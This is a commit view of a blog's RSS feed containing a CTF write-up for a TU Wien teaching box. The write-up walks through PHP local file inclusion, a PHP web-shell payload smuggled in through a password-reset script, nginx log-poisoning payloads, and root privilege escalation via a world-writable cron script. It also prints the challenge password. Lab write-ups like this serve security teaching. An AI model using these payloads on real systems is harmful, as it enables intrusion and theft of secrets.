Initial import of Hugo site to Forgejo

This commit is contained in:
Iman Alipour 2026-07-28 12:47:20 +00:00
commit cb1ba0317f
1259 changed files with 236349 additions and 0 deletions

View file

@ -0,0 +1,360 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Security on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/security/</link><description>Recent content in Security on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 05 Jun 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/security/index.xml" rel="self" type="application/rss+xml"/><item><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title><link>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</guid><description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description><content:encoded><![CDATA[<blockquote>
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I&rsquo;ll wait. …No? Ok. Hello friends.</p></blockquote>
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>&rsquo;s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who &ldquo;just quickly fixes prod&rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
<ol>
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
</ol>
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
<hr>
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
<p>From the outside you mostly see three faces of the same machine:</p>
<table>
<thead>
<tr>
<th>Host</th>
<th>What it is</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>g00.tuw.measurement.network</code></td>
<td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
</tr>
<tr>
<td><code>web.g00.tuw.measurement.network</code></td>
<td>PHP &ldquo;meme gallery&rdquo; with a very trusting <code>?page=</code> parameter</td>
</tr>
<tr>
<td><code>pwreset.g00.tuw.measurement.network</code></td>
<td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
</tr>
</tbody>
</table>
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code><code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
<hr>
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
<p>First stop: the main site.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
<ul>
<li><strong>web</strong><code>web.g00.tuw.measurement.network</code></li>
<li><strong>pwreset</strong><code>pwreset.g00.tuw.measurement.network</code></li>
</ul>
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
<p>Subdomains resolve. Good. Let&rsquo;s go web.</p>
<hr>
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd&#39;</span>
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
<p>Source via PHP filter works too:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> | sed -n <span style="color:#e6db74">&#39;s/.*frame name=&#34;in&#34;&gt;//p&#39;</span> | base64 -d
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;page&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;home.php&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn&#39;t work</span>
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
</span></span></code></pre></div><p>Same for <code>user2</code><code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
<hr>
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn&rsquo;t care about nginx</h2>
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
</span></span></code></pre></div><p>So you can&rsquo;t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that&rsquo;s a local file include, not an HTTP request.</p>
<p>pwreset source (paraphrased):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;user&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;pass&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">&#39;/var/www/userchange&#39;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Password reset queued.&#34;</span>;
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
<p><strong>Trigger it through LFI:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
</span></span><span style="display:flex;"><span> &amp;user=user1
</span></span><span style="display:flex;"><span> &amp;pass=MyTestPass1!
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
<hr>
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn&rsquo;t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
<p>Short tags (<code>&lt;?= ... ?&gt;</code>) for the win. A longer <code>&lt;?php system(...); ?&gt;</code> payload also works, but the backtick version is minimal and cute.</p>
<p>From here on, my mental model was:</p>
<ol>
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
</ol>
<p>That&rsquo;s RCE. Not root yet, but we&rsquo;ll get there. Klaus always leaves one more door open.</p>
<hr>
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka &ldquo;everything I tried before it worked&rdquo;)</h2>
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,&lt;?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?&gt;
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input <span style="color:#75715e"># with POST body</span>
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn&rsquo;t <em>that</em> careless.</p>
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
<ul>
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn&rsquo;t exist</strong></li>
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
</ul>
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
<ul>
<li>Saw historical resets like <code>user3</code><code>foobar23</code></li>
<li>Tried <code>foobar23</code> over SSH for every user</li>
</ul>
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn&rsquo;t offered externally. TU Wien network / internal access might differ — I didn&rsquo;t have that.</p>
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
</span></span><span style="display:flex;"><span>#!/bin/sh
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
<p>Eventually <strong>didn&rsquo;t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren&rsquo;t on the winning path.)</p>
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
<p>Tried setting root&rsquo;s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn&rsquo;t log in with passwords from outside.</p>
<hr>
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2&gt;/dev/null | head
</span></span></code></pre></div><p>Jackpot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
</span></span></code></pre></div><p>Original script (innocent):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts &gt; /home/user1/hostname_config
</span></span></code></pre></div><p>It&rsquo;s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef&rsquo;s kiss.</p>
<p>I appended:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
</span></span><span style="display:flex;"><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
<hr>
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> www-data@g00.tuw.measurement.network
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
<hr>
<h2 id="8-the-password-parts">8) The password parts</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>File</th>
<th>Part</th>
</tr>
</thead>
<tbody>
<tr>
<td>user1</td>
<td><code>p1</code></td>
<td><code>DcC6Da0A27384fA</code></td>
</tr>
<tr>
<td>user2</td>
<td><code>p2</code></td>
<td><code>9Ce05B3cAd57824</code></td>
</tr>
<tr>
<td>user3</td>
<td><code>p3</code></td>
<td><code>3aD80fa1b7AE986</code></td>
</tr>
<tr>
<td>user4</td>
<td><code>p4</code></td>
<td><code>CDefabffab1FCCf</code></td>
</tr>
<tr>
<td>www-data</td>
<td><code>passwd_part</code></td>
<td><code>44D885d6DAb8Bb9</code></td>
</tr>
<tr>
<td>root</td>
<td><code>rootpass</code></td>
<td><code>ghadnuthduxeec7</code></td>
</tr>
</tbody>
</table>
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root&rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
<p><strong>Combined root password (95 characters):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
<p>Root SSH with that password from <strong>outside</strong> still didn&rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
<hr>
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
</span></span><span style="display:flex;"><span> → web vhost LFI (include $_GET[&#39;page&#39;])
</span></span><span style="display:flex;"><span> → include pwreset index.php (localhost bypass)
</span></span><span style="display:flex;"><span> → write PHP to /var/www/userchange
</span></span><span style="display:flex;"><span> → LFI include userchange
</span></span><span style="display:flex;"><span> → RCE as www-data
</span></span><span style="display:flex;"><span> → append to world-writable cron_update_hostname_file.sh
</span></span><span style="display:flex;"><span> → cron runs as root → copies passwd parts to webroot
</span></span><span style="display:flex;"><span> → read parts / SSH as www-data
</span></span><span style="display:flex;"><span> → profit
</span></span></code></pre></div><p>Very &ldquo;real world&rdquo; in the worst way. Multiple small mistakes compounding into a full chain.</p>
<hr>
<h2 id="10-replay-script">10) Replay script</h2>
<p>I left a minimal Python replay in the challenge repo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
</span></span></code></pre></div><p>Core logic:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>):
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
</span></span><span style="display:flex;"><span> pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;&lt;?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?&gt;&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">&#34;/var/www/userchange&#34;</span>)
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
<hr>
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
<p>So here&rsquo;s the path you&rsquo;re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- remember for debugging:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn&rsquo;t say &ldquo;don&rsquo;t use SSL&rdquo; — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
<h3 id="intended-technique">Intended technique</h3>
<ol>
<li>
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span></code></pre></div></li>
<li>
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;
</span></span></code></pre></div><p>Short tags like <code>&lt;?=`id`?&gt;</code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
</li>
<li>
<p><strong>Include that log</strong> through the same LFI bug:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span><span style="display:flex;"><span> &amp;cmd=id
</span></span></code></pre></div></li>
</ol>
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That&rsquo;s RCE. No pwreset required.</p>
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
<table>
<thead>
<tr>
<th>What I did</th>
<th>Why it hurt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Defaulted to <code>https://</code> everywhere</td>
<td>Poison landed in <code>ssl-web...access.log</code><strong>670 KB+</strong> and growing</td>
</tr>
<tr>
<td>Included the ssl log via LFI</td>
<td>Output truncates around ~2 KB; poison sits at the tail</td>
</tr>
<tr>
<td>Fired dozens of test payloads</td>
<td>Left broken <code>&lt;?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
</tr>
<tr>
<td>Didn&rsquo;t read <code>index.php</code> source early</td>
<td>Missed the debug comment until I&rsquo;d already polluted both logs</td>
</tr>
</tbody>
</table>
<p>Tobias&rsquo;s take: that&rsquo;s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
<h3 id="if-youre-solving-it-now">If you&rsquo;re solving it now</h3>
<ul>
<li>Read <code>index.php</code> source first.</li>
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
<li>Don&rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
</ul>
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
<hr>
<h2 id="12-tldr">12) TL;DR</h2>
<ul>
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
</ul>
<p>If you&rsquo;re doing this as part of the TU Wien lab: don&rsquo;t touch other groups&rsquo; hosts, don&rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
<p>Happy hacking. 🔓</p>
<hr>
<p><em>Thanks to Tobias Fiebig for the delightfully cursed &ldquo;real world&rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
<hr>
<div class="signature-block" style="margin-top:1rem">
<p><strong>Downloads:</strong>
<a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
<a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
</p><details class="signature">
<summary>View OpenPGP signature</summary>
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
